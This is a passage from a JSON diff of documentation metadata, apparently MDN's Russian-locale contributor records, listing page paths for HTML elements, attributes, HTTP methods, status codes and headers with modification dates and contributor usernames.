"contributors": [ - "JCodeg", - "Roman-Kosov", - "dima74", - "secondfry", - "ZVanoZ", - "Aleksej", - "solovyev" - ] - }, - "Web/HTML/Element/ins": { - "modified": "2019-03-23T22:16:48.097Z", - "contributors": [ - "skyrimmer51" - ] - }, - "Web/HTML/Element/kbd": { - "modified": "2020-10-15T22:02:55.435Z", - "contributors": [ - "domstrueboy" - ] - }, - "Web/HTML/Element/label": { - "modified": "2020-08-31T17:30:16.459Z", - "contributors": [ - "TolikKrymov", - "GGGamerPro", - "michaeluskov", - "Sajag", - "limzikiki", - "Morjodrom" - ] - }, - "Web/HTML/Element/legend": { - "modified": "2020-10-15T22:02:01.501Z", - "contributors": [ - "ekirpichyov", - "Nina_Amatova" - ] - }, - "Web/HTML/Element/li": { - "modified": "2020-10-15T21:53:25.996Z", - "contributors": [ - "S-inTheory", - "fuggy", - "Enzerot", - "untritt", - "tursum", - "iliakonnov", - "kuki" - ] - }, - "Web/HTML/Element/main": { - "modified": "2020-10-15T22:15:33.946Z", - "contributors": [ - "Thr0TT1e", - "niktariy", - "JCodeg" - ] - }, - "Web/HTML/Element/map": { - "modified": "2020-10-15T22:18:36.666Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/HTML/Element/mark": { - "modified": "2019-11-05T07:53:50.329Z", - "contributors": [ - "zuenko.michail", - "victorivanovspb", - "skyrimmer51" - ] - }, - "Web/HTML/Element/marquee": { - "modified": "2020-07-28T08:19:43.902Z", - "contributors": [ - "mm669765", - "malyavkin" - ] - }, - "Web/HTML/Element/menu": { - "modified": "2020-10-15T22:29:27.668Z", - "contributors": [ - "WinterSilence" - ] - }, - "Web/HTML/Element/meta": { - "modified": "2020-10-15T21:52:59.516Z", - "contributors": [ - "STEIN197", - "WinterSilence", - "H3JILgaH4uk", - "mooksel", - "Roman-Kosov", - "hammurapiya" - ] - }, - "Web/HTML/Element/meter": { - "modified": "2020-10-15T22:18:08.624Z", - "contributors": [ - "Yialo", - "opereverzeva" - ] - }, - "Web/HTML/Element/nav": { - "modified": "2020-10-15T22:03:08.769Z", - "contributors": [ - "pesterev", - "inva8de", - "korotkovstudio", - "warsan", - "acteralex", - "fanich37" - ] - }, - "Web/HTML/Element/noscript": { - "modified": "2019-03-23T22:50:34.564Z", - "contributors": [ - "EugenAz" - ] - }, - "Web/HTML/Element/ol": { - "modified": "2020-10-15T22:25:19.251Z", - "contributors": [ - "Natalia", - "EdgarKa" - ] - }, - "Web/HTML/Element/optgroup": { - "modified": "2020-10-15T22:00:56.614Z", - "contributors": [ - "artem-vorobev" - ] - }, - "Web/HTML/Element/option": { - "modified": "2020-10-15T21:59:19.211Z", - "contributors": [ - "ivanson", - "Sajag" - ] - }, - "Web/HTML/Element/output": { - "modified": "2020-10-16T08:25:00.785Z", - "contributors": [ - "matiasrustagte", - "opereverzeva" - ] - }, - "Web/HTML/Element/p": { - "modified": "2020-10-15T22:01:18.861Z", - "contributors": [ - "JCodeg", - "skapesec", - "artyomkovshov" - ] - }, - "Web/HTML/Element/picture": { - "modified": "2020-10-15T22:02:03.650Z", - "contributors": [ - "Roman-Kosov", - "pytnik23", - "Nina_Amatova" - ] - }, - "Web/HTML/Element/pre": { - "modified": "2020-10-15T22:28:54.362Z", - "contributors": [ - "Thr0TT1e", - "Excent163", - "zoomboy13qq" - ] - }, - "Web/HTML/Element/progress": { - "modified": "2020-10-15T22:18:10.424Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/HTML/Element/ruby": { - "modified": "2019-03-23T22:16:48.415Z", - "contributors": [ - "KishiTako" - ] - }, - "Web/HTML/Element/script": { - "modified": "2020-10-15T22:13:05.905Z", - "contributors": [ - "alkorlos", - "sumthief", - "biggieman", - "vovanezha", - "Roman-Kosov" - ] - }, - "Web/HTML/Element/section": { - "modified": "2020-10-15T21:43:35.863Z", - "contributors": [ - "niktariy", - "JCodeg", - "erdjei", - "dimoff66", - "muzimka", - "lollyroll", - "Bobsans", - "Minstel", - "AnatolyOS" - ] - }, - "Web/HTML/Element/select": { - "modified": "2020-10-15T21:58:27.145Z", - "contributors": [ - "swymmwys", - "Snailsloth", - "NSearcher" - ] - }, - "Web/HTML/Element/slot": { - "modified": "2020-10-15T22:18:33.678Z", - "contributors": [ - "Akh-rman" - ] - }, - "Web/HTML/Element/source": { - "modified": "2020-10-15T22:02:22.153Z", - "contributors": [ - "shvedovskiy", - "fidelman", - "Nina_Amatova" - ] - }, - "Web/HTML/Element/span": { - "modified": "2020-10-15T22:17:05.764Z", - "contributors": [ - "Enzerot", - "JCodeg" - ] - }, - "Web/HTML/Element/strong": { - "modified": "2020-10-27T09:45:31.123Z", - "contributors": [ - "LFFATE", - "Enzerot", - "skapesec" - ] - }, - "Web/HTML/Element/style": { - "modified": "2019-03-23T23:36:06.676Z", - "contributors": [ - "torbasow", - "warsan", - "teoli", - "Aleksej", - "dronov" - ] - }, - "Web/HTML/Element/summary": { - "modified": "2020-10-15T22:23:43.914Z", - "contributors": [ - "objNameGit" - ] - }, - "Web/HTML/Element/td": { - "modified": "2020-10-15T22:00:58.695Z", - "contributors": [ - "Maxim-Bernashevsky" - ] - }, - "Web/HTML/Element/template": { - "modified": "2020-10-15T21:39:10.196Z", - "contributors": [ - "WinterSilence", - "OneOfElders", - "GalustOsipyan", - "KoblentsAV", - "apian", - "fantkolja", - "vzh", - "Isk1n", - "dood" - ] - }, - "Web/HTML/Element/tfoot": { - "modified": "2019-03-23T22:42:06.904Z", - "contributors": [ - "s1lver", - "eshpak" - ] - }, - "Web/HTML/Element/time": { - "modified": "2019-09-23T09:49:47.365Z", - "contributors": [ - "niktariy", - "Zulcom", - "Aleksej", - "Lambrusco.pro" - ] - }, - "Web/HTML/Element/title": { - "modified": "2020-10-15T21:52:59.922Z", - "contributors": [ - "JCodeg", - "skapesec", - "KAL6MAR" - ] - }, - "Web/HTML/Element/track": { - "modified": "2020-10-15T22:17:23.784Z", - "contributors": [ - "fuggy", - "SedovDP" - ] - }, - "Web/HTML/Element/u": { - "modified": "2020-10-15T22:23:02.823Z", - "contributors": [ - "xsltdev.ru" - ] - }, - "Web/HTML/Element/ul": { - "modified": "2020-10-15T22:25:17.688Z", - "contributors": [ - "EdgarKa" - ] - }, - "Web/HTML/Element/video": { - "modified": "2019-10-10T16:55:11.676Z", - "contributors": [ - "runicelf", - "Smaleva", - "kabdena", - "fill.anton" - ] - }, - "Web/HTML/Element/video/seeking_event": { - "modified": "2019-03-23T22:00:06.598Z", - "contributors": [ - "estelle", - "fscholz", - "alexs_havelev" - ] - }, - "Web/HTML/Element/wbr": { - "modified": "2020-10-15T22:16:50.183Z", - "contributors": [ - "doritota", - "ShadyMind", - "AleksandrK69" - ] - }, - "Web/HTML/Element/кнопка": { - "modified": "2020-08-27T10:59:01.002Z", - "contributors": [ - "DarkExodusXX", - "Anton1922", - "fanich37", - "VitalyKrenel", - "Quaiby" - ] - }, - "Web/HTML/Element/ссылка": { - "modified": "2020-11-25T22:00:52.653Z", - "contributors": [ - "RoPy73", - "GitForDocs", - "sasha3nique", - "dt_", - "opereverzeva" - ] - }, - "Web/HTML/Global_attributes": { - "modified": "2020-10-15T21:40:19.311Z", - "contributors": [ - "chrisdavidmills", - "YozhEzhi", - "tronov", - "ldone" - ] - }, - "Web/HTML/Global_attributes/accesskey": { - "modified": "2020-10-15T21:54:29.967Z", - "contributors": [ - "chrisdavidmills", - "CyberAP", - "arturparkhisenko", - "VitalyKrenel", - "Khudoidod" - ] - }, - "Web/HTML/Global_attributes/class": { - "modified": "2020-10-15T22:23:35.603Z", - "contributors": [ - "chrisdavidmills", - "karasik", - "Excent163" - ] - }, - "Web/HTML/Global_attributes/contenteditable": { - "modified": "2020-03-11T09:20:45.770Z", - "contributors": [ - "chrisdavidmills", - "warsan", - "Jasum", - "SnejUgal" - ] - }, - "Web/HTML/Global_attributes/data-*": { - "modified": "2020-10-15T22:25:34.411Z", - "contributors": [ - "chrisdavidmills", - "andreystan" - ] - }, - "Web/HTML/Global_attributes/dir": { - "modified": "2020-10-15T22:35:14.687Z", - "contributors": [ - "at940266" - ] - }, - "Web/HTML/Global_attributes/dropzone": { - "modified": "2020-10-15T22:18:29.870Z", - "contributors": [ - "chrisdavidmills", - "Akh-rman" - ] - }, - "Web/HTML/Global_attributes/id": { - "modified": "2020-10-15T21:58:35.927Z", - "contributors": [ - "chrisdavidmills", - "JCodeg", - "nemyxa" - ] - }, - "Web/HTML/Global_attributes/inputmode": { - "modified": "2020-10-15T22:22:08.650Z", - "contributors": [ - "ExzoTiQQ", - "chrisdavidmills", - "maks1mp", - "dirkgntly", - "YozhEzhi" - ] - }, - "Web/HTML/Global_attributes/is": { - "modified": "2020-10-15T22:20:51.216Z", - "contributors": [ - "chrisdavidmills", - "opereverzeva" - ] - }, - "Web/HTML/Global_attributes/itemid": { - "modified": "2020-10-15T22:21:06.900Z", - "contributors": [ - "chrisdavidmills", - "opereverzeva" - ] - }, - "Web/HTML/Global_attributes/lang": { - "modified": "2020-10-15T22:28:12.778Z", - "contributors": [ - "osipov_s", - "almaceleste", - "chrisdavidmills" - ] - }, - "Web/HTML/Global_attributes/style": { - "modified": "2020-03-11T09:20:45.761Z", - "contributors": [ - "chrisdavidmills", - "OlehMrB", - "deniskorotin12" - ] - }, - "Web/HTML/Global_attributes/tabindex": { - "modified": "2020-03-11T09:20:45.707Z", - "contributors": [ - "chrisdavidmills", - "es-moll", - "GalGrigoryeva", - "maddev", - "ViktorKonsta" - ] - }, - "Web/HTML/Optimizing_Your_Pages_for_Speculative_Parsing": { - "modified": "2019-03-23T23:28:56.065Z", - "contributors": [ - "s1lver", - "pk.prog", - "SnejUgal", - "teoli", - "Gucci_08_rus" - ] - }, - "Web/HTML/Preloading_content": { - "modified": "2020-10-15T22:11:40.984Z", - "contributors": [ - "warsan", - "alexa.poruch", - "Ilya-Zhulin", - "akochemasov", - "Skolpov", - "isatalkin" - ] - }, - "Web/HTML/Quirks_Mode_and_Standards_Mode": { - "modified": "2019-03-23T22:44:29.253Z", - "contributors": [ - "chrisdavidmills", - "mea612", - "Natalya_Surikova", - "lerniri" - ] - }, - "Web/HTML/Использование_кэширования_приложений": { - "modified": "2019-04-09T18:24:32.273Z", - "contributors": [ - "jwhitlock", - "teoli", - "pashak" - ] - }, - "Web/HTML/Поддерживаемые_медиа_форматы": { - "modified": "2019-03-23T22:40:43.218Z", - "contributors": [ - "SedovDP", - "a-goodwin", - "PPerminov", - "MuradAz" - ] - }, - "Web/HTML/Ссылки": { - "modified": "2019-09-09T07:21:34.310Z", - "contributors": [ - "SphinxKnight", - "JCodeg", - "wbamberg", - "Kiprusoff", - "kuki", - "alexfromvl", - "VsTB", - "astrobeglec", - "BychekRU", - "quinn", - "ldone", - "alexlead" - ] - }, - "Web/HTML/Строчные_Элементы": { - "modified": "2020-03-08T06:35:47.964Z", - "contributors": [ - "Radragon", - "AliaksandrZahorski", - "Inqanter", - "superpuper32", - "Filofei", - "Chronosms" - ] - }, - "Web/HTML/Типы_ссылок": { - "modified": "2019-03-23T22:35:07.110Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/HTTP": { - "modified": "2019-10-10T16:46:52.972Z", - "contributors": [ - "Mikhail_Kozachkov", - "e-evdokimov", - "stonetrooper", - "djigach", - "pk.prog", - "warnabas", - "nilfalse", - "lerniri", - "Sheppy" - ] - }, - "Web/HTTP/Basics_of_HTTP": { - "modified": "2020-07-14T17:05:38.093Z", - "contributors": [ - "vladimir.i.kuropatka", - "enonotugh", - "cissoid" - ] - }, - "Web/HTTP/Basics_of_HTTP/Data_URIs": { - "modified": "2020-10-15T22:23:29.676Z", - "contributors": [ - "alex3d", - "ismorozs" - ] - }, - "Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP": { - "modified": "2019-03-23T22:25:07.797Z", - "contributors": [ - "pk.prog" - ] - }, - "Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web_RU": { - "modified": "2020-01-09T21:04:16.499Z", - "contributors": [ - "rshmelev" - ] - }, - "Web/HTTP/Basics_of_HTTP/MIME_types": { - "modified": "2019-10-21T06:21:06.123Z", - "contributors": [ - "ismorozs", - "dartraiden", - "wcoder", - "vfr5cv", - "dawsonbotsford" - ] - }, - "Web/HTTP/Basics_of_HTTP/MIME_types/Common_types": { - "modified": "2020-02-28T13:11:18.234Z", - "contributors": [ - "chrisdavidmills", - "SphinxKnight", - "nickvoronin", - "MineDen", - "vladkras", - "david.orbelian" - ] - }, - "Web/HTTP/CORS": { - "modified": "2020-10-21T11:45:01.641Z", - "contributors": [ - "AntonSork", - "muxmux.ryzhinskiy", - "annielinnik", - "eugenechu", - "PaulineNemchak", - "ka.bezmaternykh", - "AliaksandrZahorski", - "isverkunova", - "registoo", - "Sarox", - "ryndin", - "TopJavaDev", - "teryaew", - "Just-Student", - "ruSl0n", - "sumthief", - "pokatomnik", - "while0pass", - "curdwithraisins" - ] - }, - "Web/HTTP/CORS/Errors": { - "modified": "2019-03-18T21:24:33.853Z", - "contributors": [ - "nchevobbe" - ] - }, - "Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin": { - "modified": "2020-09-04T20:45:48.841Z", - "contributors": [ - "ismaxim" - ] - }, - "Web/HTTP/CORS/Errors/CORSDidNotSucceed": { - "modified": "2019-03-18T21:21:26.464Z", - "contributors": [ - "Raov" - ] - }, - "Web/HTTP/CORS/Errors/CORSDisabled": { - "modified": "2019-04-02T08:31:09.637Z", - "contributors": [ - "adsads" - ] - }, - "Web/HTTP/CORS/Errors/CORSMissingAllowOrigin": { - "modified": "2019-11-28T13:01:34.661Z", - "contributors": [ - "mcmimik", - "WhiteApfel", - "coldestheart" - ] - }, - "Web/HTTP/CSP": { - "modified": "2020-10-15T22:12:13.397Z", - "contributors": [ - "muxmux.ryzhinskiy", - "rufatpro", - "aekarimov", - "CupIvan", - "vetraz", - "mrpq", - "DenKoren", - "gudkovdanila" - ] - }, - "Web/HTTP/Conditional_requests": { - "modified": "2019-03-18T21:40:01.400Z", - "contributors": [ - "Ollisteka", - "ValeriiBoiko" - ] - }, - "Web/HTTP/Connection_management_in_HTTP_1.x": { - "modified": "2020-10-20T00:47:00.327Z", - "contributors": [ - "nuranai", - "mariag" - ] - }, - "Web/HTTP/Content_negotiation": { - "modified": "2019-08-18T10:55:30.029Z", - "contributors": [ - "rdcl-g", - "stonetrooper", - "Katerina-S" - ] - }, - "Web/HTTP/Content_negotiation/List_of_default_Accept_values": { - "modified": "2020-09-08T09:01:26.232Z", - "contributors": [ - "Valentina" - ] - }, - "Web/HTTP/Feature_Policy": { - "modified": "2020-10-15T22:16:37.399Z", - "contributors": [ - "ruslanlavrega81", - "zwug", - "moveax3" - ] - }, - "Web/HTTP/Feature_Policy/Using_Feature_Policy": { - "modified": "2020-02-11T10:54:06.896Z", - "contributors": [ - "mechtool" - ] - }, - "Web/HTTP/Messages": { - "modified": "2020-05-02T15:29:40.125Z", - "contributors": [ - "Excent163", - "Sarox", - "registoo", - "mariag" - ] - }, - "Web/HTTP/Methods": { - "modified": "2020-10-15T21:50:01.741Z", - "contributors": [ - "podgorny", - "Mikhail42", - "AdminLP", - "pk.prog" - ] - }, - "Web/HTTP/Methods/CONNECT": { - "modified": "2020-10-15T22:12:02.549Z", - "contributors": [ - "sergsnicarenko", - "DiArch" - ] - }, - "Web/HTTP/Methods/DELETE": { - "modified": "2020-10-15T22:11:58.447Z", - "contributors": [ - "fuggy", - "tanyaharris" - ] - }, - "Web/HTTP/Methods/GET": { - "modified": "2020-10-15T22:07:25.076Z", - "contributors": [ - "fuggy", - "jellymary", - "e-evdokimov", - "Mikhail42" - ] - }, - "Web/HTTP/Methods/HEAD": { - "modified": "2020-10-15T22:09:53.409Z", - "contributors": [ - "fuggy", - "alexeybryk", - "jellymary" - ] - }, - "Web/HTTP/Methods/OPTIONS": { - "modified": "2020-10-15T21:56:43.677Z", - "contributors": [ - "ircphp", - "jellymary", - "mtrsv", - "marks12" - ] - }, - "Web/HTTP/Methods/PATCH": { - "modified": "2020-12-05T04:46:47.034Z", - "contributors": [ - "sheremet", - "fuggy" - ] - }, - "Web/HTTP/Methods/POST": { - "modified": "2020-10-15T22:01:35.674Z", - "contributors": [ - "fuggy", - "jellymary", - "Blinky", - "RodionFedechkin", - "abdulazizjs", - "ghost28147" - ] - }, - "Web/HTTP/Methods/PUT": { - "modified": "2020-10-15T21:56:24.384Z", - "contributors": [ - "fuggy", - "jellymary", - "maxpolski" - ] - }, - "Web/HTTP/Methods/TRACE": { - "modified": "2020-10-15T22:09:54.454Z", - "contributors": [ - "Jiml87", - "fuggy", - "jellymary" - ] - }, - "Web/HTTP/Overview": { - "modified": "2020-11-17T05:19:09.051Z", - "contributors": [ - "sapsan7630", - "bershanskiy", - "javid-aliyev", - "donchak1610", - "demoredeyes", - "Dyenex", - "Mikhail_Kozachkov", - "red100k", - "registoo", - "Mikhail42", - "rustavellyne", - "kshiukaev", - "izhurav", - "v-zubritsky", - "campside", - "uleming", - "ENBelko", - "SnejUgal" - ] - }, - "Web/HTTP/Redirections": { - "modified": "2019-11-21T10:53:45.387Z", - "contributors": [ - "Zulcom", - "coolder", - "textyre", - "ValeriiBoiko" - ] - }, - "Web/HTTP/Server-Side_Access_Control": { - "modified": "2019-07-16T07:11:05.759Z", - "contributors": [ - "curdwithraisins" - ] - }, - "Web/HTTP/Session": { - "modified": "2020-02-14T12:03:42.414Z", - "contributors": [ - "hardsoncore", - "Duelist", - "ilyaUryadov", - "SnejUgal", - "koks", - "pk.prog" - ] - }, - "Web/HTTP/Status": { - "modified": "2020-07-21T11:53:42.620Z", - "contributors": [ - "absinthminded", - "Dmitry", - "u_mulder", - "dmakarov-hystax", - "veryvorobey", - "AgRuN1", - "Sturmtiger", - "swiftail", - "zhanser1k", - "Gvozdikova", - "ProgMiner", - "fscholz", - "masterx2", - "LinMAD", - "dovgart" - ] - }, - "Web/HTTP/Status/100": { - "modified": "2020-10-15T21:54:21.433Z", - "contributors": [ - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/101": { - "modified": "2019-03-23T22:11:57.761Z", - "contributors": [ - "scpketer", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/103": { - "modified": "2020-10-15T22:26:01.978Z", - "contributors": [ - "danyasatsuk" - ] - }, - "Web/HTTP/Status/200": { - "modified": "2020-10-15T21:54:20.548Z", - "contributors": [ - "Kirill82", - "julianotes", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/201": { - "modified": "2020-10-15T21:54:19.594Z", - "contributors": [ - "Basters", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/202": { - "modified": "2019-03-23T22:11:50.408Z", - "contributors": [ - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/203": { - "modified": "2019-03-23T22:11:57.159Z", - "contributors": [ - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/204": { - "modified": "2020-10-15T21:54:19.366Z", - "contributors": [ - "justredpaul", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/205": { - "modified": "2019-03-23T22:11:48.806Z", - "contributors": [ - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/206": { - "modified": "2020-10-15T21:54:23.531Z", - "contributors": [ - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/300": { - "modified": "2019-03-23T22:11:59.106Z", - "contributors": [ - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/301": { - "modified": "2020-10-15T21:54:21.871Z", - "contributors": [ - "Vyprichenko", - "lxr", - "jmas", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/302": { - "modified": "2020-10-15T21:54:27.031Z", - "contributors": [ - "lxr", - "ghost28147", - "SevastyanDark", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/303": { - "modified": "2020-10-15T21:54:26.717Z", - "contributors": [ - "lxr", - "ADTC", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/304": { - "modified": "2020-10-15T21:54:27.160Z", - "contributors": [ - "RomanDavlyatshin", - "fr33ek", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/307": { - "modified": "2020-11-09T06:55:28.868Z", - "contributors": [ - "gogo.sanak", - "lxr", - "kroleg", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/308": { - "modified": "2020-10-15T21:54:26.916Z", - "contributors": [ - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/400": { - "modified": "2020-10-05T06:39:15.951Z", - "contributors": [ - "alekseiroden", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/401": { - "modified": "2020-11-03T03:16:35.279Z", - "contributors": [ - "SphinxKnight", - "kriko", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/402": { - "modified": "2020-10-15T22:26:57.966Z", - "contributors": [ - "Wicky435" - ] - }, - "Web/HTTP/Status/403": { - "modified": "2020-10-15T21:54:28.027Z", - "contributors": [ - "krisskross045", - "c01nd01r", - "pelmahx", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/404": { - "modified": "2020-11-01T07:26:37.636Z", - "contributors": [ - "a-postx", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/405": { - "modified": "2020-10-08T06:06:31.158Z", - "contributors": [ - "krisskross045", - "maksym-studenets", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/406": { - "modified": "2020-10-15T21:54:34.038Z", - "contributors": [ - "vykulakov", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/407": { - "modified": "2020-10-15T21:54:33.680Z", - "contributors": [ - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/408": { - "modified": "2020-12-03T09:09:58.243Z", - "contributors": [ - "rkolvcin", - "velunin", - "madzohan", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/409": { - "modified": "2019-03-18T20:53:49.119Z", - "contributors": [ - "NeverMine17", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/410": { - "modified": "2020-10-15T21:54:31.995Z", - "contributors": [ - "ruvor", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/411": { - "modified": "2019-03-23T22:11:43.834Z", - "contributors": [ - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/412": { - "modified": "2020-10-15T21:54:33.418Z", - "contributors": [ - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/413": { - "modified": "2019-03-23T22:11:44.226Z", - "contributors": [ - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/414": { - "modified": "2019-03-23T22:11:35.313Z", - "contributors": [ - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/415": { - "modified": "2019-03-23T22:11:36.286Z", - "contributors": [ - "runicelf", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/416": { - "modified": "2020-10-15T21:54:31.942Z", - "contributors": [ - "fuggy", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/417": { - "modified": "2020-03-25T04:22:45.272Z", - "contributors": [ - "ialexi-bl", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/418": { - "modified": "2020-10-15T22:04:42.019Z", - "contributors": [ - "dzamlo", - "serj-by" - ] - }, - "Web/HTTP/Status/422": { - "modified": "2019-03-18T21:27:30.633Z", - "contributors": [ - "stonetrooper" - ] - }, - "Web/HTTP/Status/425": { - "modified": "2020-11-01T07:45:20.075Z", - "contributors": [ - "a-postx", - "pvtjhones", - "NeverMine17" - ] - }, - "Web/HTTP/Status/426": { - "modified": "2019-03-23T22:11:44.101Z", - "contributors": [ - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/428": { - "modified": "2019-03-23T22:11:43.311Z", - "contributors": [ - "npliashechnikov", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/429": { - "modified": "2020-10-09T09:01:54.511Z", - "contributors": [ - "radekozanj", - "tonal", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/431": { - "modified": "2019-03-23T22:11:38.462Z", - "contributors": [ - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/451": { - "modified": "2020-10-15T21:54:31.658Z", - "contributors": [ - "denismaster", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/500": { - "modified": "2020-11-01T07:13:36.543Z", - "contributors": [ - "a-postx", - "vkonchek", - "kyawminar", - "denismaster", - "Maria-Atonen", - "Dobriy33" - ] - }, - "Web/HTTP/Status/501": { - "modified": "2020-10-15T21:54:32.847Z", - "contributors": [ - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/502": { - "modified": "2020-10-15T21:54:33.584Z", - "contributors": [ - "alekseiroden", - "timas1301", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/503": { - "modified": "2020-10-15T21:54:32.776Z", - "contributors": [ - "goveo", - "keeshava", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/504": { - "modified": "2020-10-15T21:54:32.760Z", - "contributors": [ - "IlgamGabdullin", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/505": { - "modified": "2019-03-23T22:11:33.494Z", - "contributors": [ - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Status/511": { - "modified": "2019-03-23T22:11:33.213Z", - "contributors": [ - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Авторизация": { - "modified": "2020-04-27T12:53:55.193Z", - "contributors": [ - "katina.tanya.net", - "Umbrous", - "mironovdm", - "RumyantsevMichael", - "Santiago26", - "deniskoronets" - ] - }, - "Web/HTTP/Заголовки": { - "modified": "2020-10-01T10:57:48.980Z", - "contributors": [ - "bakhrom.akbarov", - "severyanov", - "DariiaBormot", - "andrewtk", - "st6gb", - "stonetrooper", - "loman", - "ReinarKein" - ] - }, - "Web/HTTP/Заголовки/Accept": { - "modified": "2020-11-27T13:56:04.958Z", - "contributors": [ - "robert491", - "vykulakov", - "Normal", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Заголовки/Accept-Charset": { - "modified": "2020-10-15T22:14:29.517Z", - "contributors": [ - "Reddok", - "J4CKVVH173" - ] - }, - "Web/HTTP/Заголовки/Accept-Language": { - "modified": "2020-10-15T22:00:00.029Z", - "contributors": [ - "taushan.marina", - "Reddok", - "limanweb", - "serj-by" - ] - }, - "Web/HTTP/Заголовки/Accept-Patch": { - "modified": "2020-12-05T05:07:59.020Z", - "contributors": [ - "sheremet" - ] - }, - "Web/HTTP/Заголовки/Accept-Ranges": { - "modified": "2020-10-15T22:08:23.104Z", - "contributors": [ - "stonetrooper" - ] - }, - "Web/HTTP/Заголовки/Access-Control-Allow-Headers": { - "modified": "2020-10-15T22:06:02.499Z", - "contributors": [ - "Skinny-Hunter" - ] - }, - "Web/HTTP/Заголовки/Access-Control-Allow-Methods": { - "modified": "2020-10-15T21:55:39.900Z", - "contributors": [ - "kosuhin" - ] - }, - "Web/HTTP/Заголовки/Access-Control-Allow-Origin": { - "modified": "2020-10-15T22:30:57.158Z", - "contributors": [ - "online", - "muxmux.ryzhinskiy" - ] - }, - "Web/HTTP/Заголовки/Access-Control-Max-Age": { - "modified": "2020-10-15T21:54:51.387Z", - "contributors": [ - "Shamshod", - "slayermass" - ] - }, - "Web/HTTP/Заголовки/Authorization": { - "modified": "2020-11-27T14:09:58.983Z", - "contributors": [ - "robert491", - "NikitaTkachev", - "3lvcz", - "EgorChernik", - "justredpaul" - ] - }, - "Web/HTTP/Заголовки/Cache-Control": { - "modified": "2020-10-15T21:59:00.821Z", - "contributors": [ - "eeiaao", - "akimy", - "lykosheff", - "Sergey.Terekhin" - ] - }, - "Web/HTTP/Заголовки/Connection": { - "modified": "2020-11-27T17:37:13.461Z", - "contributors": [ - "robert491", - "Lariniya", - "Talkerbox", - "stonetrooper", - "Kirill82" - ] - }, - "Web/HTTP/Заголовки/Content-Disposition": { - "modified": "2020-10-15T21:58:08.326Z", - "contributors": [ - "Blinky", - "pk.prog" - ] - }, - "Web/HTTP/Заголовки/Content-Encoding": { - "modified": "2020-10-15T22:30:01.262Z", - "contributors": [ - "isetpro" - ] - }, - "Web/HTTP/Заголовки/Content-Language": { - "modified": "2020-10-15T22:14:19.206Z", - "contributors": [ - "Nasridean", - "limanweb" - ] - }, - "Web/HTTP/Заголовки/Content-Length": { - "modified": "2020-11-27T16:51:36.713Z", - "contributors": [ - "robert491", - "einperegrin", - "FireEagle25" - ] - }, - "Web/HTTP/Заголовки/Content-Type": { - "modified": "2020-10-15T21:56:21.381Z", - "contributors": [ - "kryksyh", - "WhiteApfel", - "nemish", - "NAKAMODI" - ] - }, - "Web/HTTP/Заголовки/DNT": { - "modified": "2020-10-15T22:15:53.319Z", - "contributors": [ - "Alex90" - ] - }, - "Web/HTTP/Заголовки/Date": { - "modified": "2020-10-15T21:57:57.330Z", - "contributors": [ - "Darlanar", - "serieznyi" - ] - }, - "Web/HTTP/Заголовки/ETag": { - "modified": "2020-10-15T22:02:38.948Z", - "contributors": [ - "dimatretyak", - "vetraz", - "curdwithraisins", - "Creepypoke" - ] - }, - "Web/HTTP/Заголовки/Expect": { - "modified": "2019-03-23T22:11:58.063Z", - "contributors": [ - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Заголовки/Expires": { - "modified": "2020-10-15T21:52:39.059Z", - "contributors": [ - "tjbulick", - "mrmlnc", - "MihLeonid", - "kobylin" - ] - }, - "Web/HTTP/Заголовки/Host": { - "modified": "2020-10-15T22:14:52.160Z", - "contributors": [ - "vugluskr", - "vadjradanta" - ] - }, - "Web/HTTP/Заголовки/If-Match": { - "modified": "2020-10-15T21:54:39.304Z", - "contributors": [ - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Заголовки/If-Modified-Since": { - "modified": "2020-10-15T21:54:34.736Z", - "contributors": [ - 